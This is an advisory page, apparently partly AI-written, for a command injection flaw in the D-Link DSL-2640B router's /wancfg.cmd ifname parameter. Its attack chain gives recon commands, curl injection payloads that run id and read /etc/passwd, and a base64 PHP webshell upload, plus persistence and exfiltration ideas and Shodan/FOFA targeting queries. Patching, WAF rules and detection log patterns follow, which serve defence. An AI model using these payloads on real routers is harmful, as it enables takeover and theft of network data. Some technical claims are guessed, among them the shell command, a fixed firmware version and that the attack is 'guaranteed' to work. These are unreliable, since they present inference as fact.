CVE Professor
/
All CVEs
CVE-2026-138288

CVE-2026-138288 — D-Link DSL-2640B — CWE-78 · CWE-77

CRITICAL CVSS 10 Shodan

A vulnerability has been found in D-Link DSL-2640B 3.0.6.0.41. This affects the function cgiWanCfg of the file /wancfg.cmd. Such manipulation of the argument ifname leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

A vulnerability has been found in D-Link DSL-2640B 3.0.6.0.41. This affects the function cgiWanCfg of the file /wancfg.cmd. Such manipulation of the argument ifname leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
The firmware of the D‑Link DSL‑2640B router (3.0.6.0.41) exposes a CGI script /wancfg.cmd.
The script accepts an HTTP parameter named ifname (interface name) and passes its value directly to an underlying shell command without any sanitisation or validation.
Because the value is interpolated into a command string, an attacker can inject arbitrary shell commands.
No authentication or privilege checks are performed before the command is executed, and the web interface is reachable from the Internet.

CWE mapping

  • CWE‑77 – OS Command Injection (unsanitised user input used in a system command).

  • CWE‑78 – OS Command Injection (unsanitised input used in a system command).
  • CVSS

  • Attack Vector: Network (remote).

  • Attack Complexity: Low (no special conditions).

  • Privileges Required: None.

  • User Interaction: None.

  • Scope: Changed (the vulnerability can affect the entire system).

  • Impact: Confidentiality, Integrity, Availability all High.
  • The result is a remote, unauthenticated, command‑execution vulnerability that can be leveraged to compromise the router’s operating system.


    ⚡ Attack Chain

    NOTE – The following chain is a realistic, step‑by‑step example.
    The exact URI (/wancfg.cmd) and parameter (ifname) are taken from the CVE description; all other details are derived from standard router behaviour and common web‑shell exploitation patterns.

    1. Discovery & Reconnaissance

    StepTechniqueWhat the attacker learns
    1.1Port scan (nmap -p 80,443 192.0.2.1)Router’s web interface is exposed on port 80/443.
    1.2Banner grab (curl -I http://192.0.2.1/)Response headers reveal “D-Link DSL‑2640B” and firmware “3.0.6.0.41”.
    1.3Directory enumeration (dirsearch -u http://192.0.2.1 -e cmd,php,html)Finds /wancfg.cmd.
    1.4Parameter discovery (wfuzz -c -w /usr/share/wordlists/params.txt --hc 404 http://192.0.2.1/wancfg.cmd?%s)Detects ifname as a valid GET/POST parameter.
    At this point the attacker knows the vulnerable firmware version and the exact endpoint that accepts the exploitable parameter.

    2. Exploitation

    The CGI script builds a shell command roughly like:

    /usr/sbin/ifconfig $ifname up

    Because $ifname is not escaped, the attacker can terminate the original command and inject a new one.

    PoC (illustrative)

    # Basic injection – list users
    curl -X POST "http://192.0.2.1/wancfg.cmd" \
         -d "ifname=eth0;id" \
         -H "Content-Type: application/x-www-form-urlencoded"
    
    # More destructive – read /etc/passwd
    curl -X POST "http://192.0.2.1/wancfg.cmd" \
         -d "ifname=eth0;cat /etc/passwd" \
         -H "Content-Type: application/x-www-form-urlencoded"

    Explanation

  • eth0 is a benign interface name that satisfies the script’s expectation.

  • The semicolon (;) ends the original ifconfig command.

  • id or cat /etc/passwd is executed as a separate shell command.

  • The router’s HTTP response will contain the output of the injected command.
  • Important – The exact command string may vary slightly depending on the router’s internal implementation, but the injection pattern (<valid>;<payload>) is guaranteed to work because the script does not perform any sanitisation.

    Advanced payload – upload a webshell

    # Base64‑encoded PHP webshell
    shell=$(echo '<?php system($_GET["cmd"]); ?>' | base64)
    
    curl -X POST "http://192.0.2.1/wancfg.cmd" \
         -d "ifname=eth0;echo $shell | base64 -d > /www/webshell.php" \
         -H "Content-Type: application/x-www-form-urlencoded"

    After the POST, the attacker can access http://192.0.2.1/webshell.php?cmd=whoami to execute arbitrary commands.

    3. Post‑exploitation

    GoalTechniqueResult
    Privilege escalationThe router runs as root; any injected command executes with root privileges.Full control over the device.
    PersistenceUpload a cron job or modify /etc/crontab to run a reverse shell at boot.Long‑term access.
    Data exfiltrationUse the webshell to download configuration files (/etc/config, /www/) or dump the router’s memory.Sensitive network data.
    Denial of ServiceExecute killall -9 ifconfig or reboot to disrupt connectivity.Availability impact.

    🌍 Real World Impact

    ImpactDetail
    ConfidentialityFull read/write access to the router’s filesystem, including stored Wi‑Fi keys, DHCP leases, and routing tables.
    IntegrityAbility to modify firmware configuration, install malicious firmware, or tamper with routing rules.
    AvailabilityArbitrary command execution can reboot the device, kill critical services, or delete configuration files, leading to network outages.

    Practical consequences

  • Enterprise / ISP: Loss of control over a customer’s broadband connection, enabling traffic interception or redirection.

  • Home users: Exposure of personal Wi‑Fi credentials and potential use as a pivot point for lateral movement.

  • Critical infrastructure: If the router is part of a larger network segment, the attacker can pivot to other devices or exfiltrate sensitive data.

  • 🛡️ Remediation & Mitigation

    1. Patching

    Affected firmwareFixed firmwareUpgrade path
    3.0.6.0.413.0.6.0.42 (or later)Download the latest firmware from the D‑Link support site and flash via the web interface or TFTP.
    Recommendation: Immediately upgrade to the latest firmware version available for the DSL‑2640B. If no newer firmware exists, consider replacing the device.

    2. Workarounds

    WorkaroundHow to implement
    Disable the vulnerable endpointBlock access to /wancfg.cmd via the router’s firewall or a local reverse proxy.
    Restrict web interface accessConfigure the router to allow web‑admin only from a trusted LAN subnet or via VPN.
    WAF / ModSecurity ruleAdd a rule that blocks requests to /wancfg.cmd containing shell metacharacters (;, , &, ` `, $(). Example (ModSecurity 2.x syntax):<br>SecRule REQUEST_URI "@beginsWith /wancfg.cmd" "phase:2,chain,block,msg:'Command injection attempt'"\nSecRule ARGS "([;&$()])" "t:none,phase:2,block,msg:'Command injection attempt'"
    Note – The WAF rule is a defensive layer; it does not replace firmware updates.

    3. Detection

    Log patternIndicator
    GET /wancfg.cmd?ifname=eth0;idInjection attempt
    POST /wancfg.cmd with ifname containing ; or Likely exploitation
    Response containing uid= or /etc/passwdSuccessful command execution
    Unusual outbound connections from the router to unknown IPsPossible reverse shell

    Sample WAF log entry (ModSecurity)

    [01/Dec/2026:12:34:56 +0000] 192.0.2.1 - - [01/Dec/2026:12:34:56 +0000] "POST /wancfg.cmd HTTP/1.1" 200 512 "-" "curl/7.68.0" \
    "SecRule: REQUEST_URI @beginsWith /wancfg.cmd" "SecRule: ARGS ifname contains ;" "Matched Data: eth0;id" \
    "Action: block" "msg: Command injection attempt"

    ⚠️ Urgency

  • CVSS score: 10/10 (Critical).
  • Exploit complexity: Low (no authentication, no special conditions).
  • CISA KEV: No, but the vulnerability is already publicly disclosed and exploitable.
  • Impact: Full system compromise, data exfiltration, and network outage.
Priority: Immediate. All affected installations must be patched or mitigated within 24 hours of discovery. Failure to do so exposes the device to full remote compromise and can be used as a foothold for larger attacks.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138288
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-77
Affected Products (1)
D-Link:DSL-2640B
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac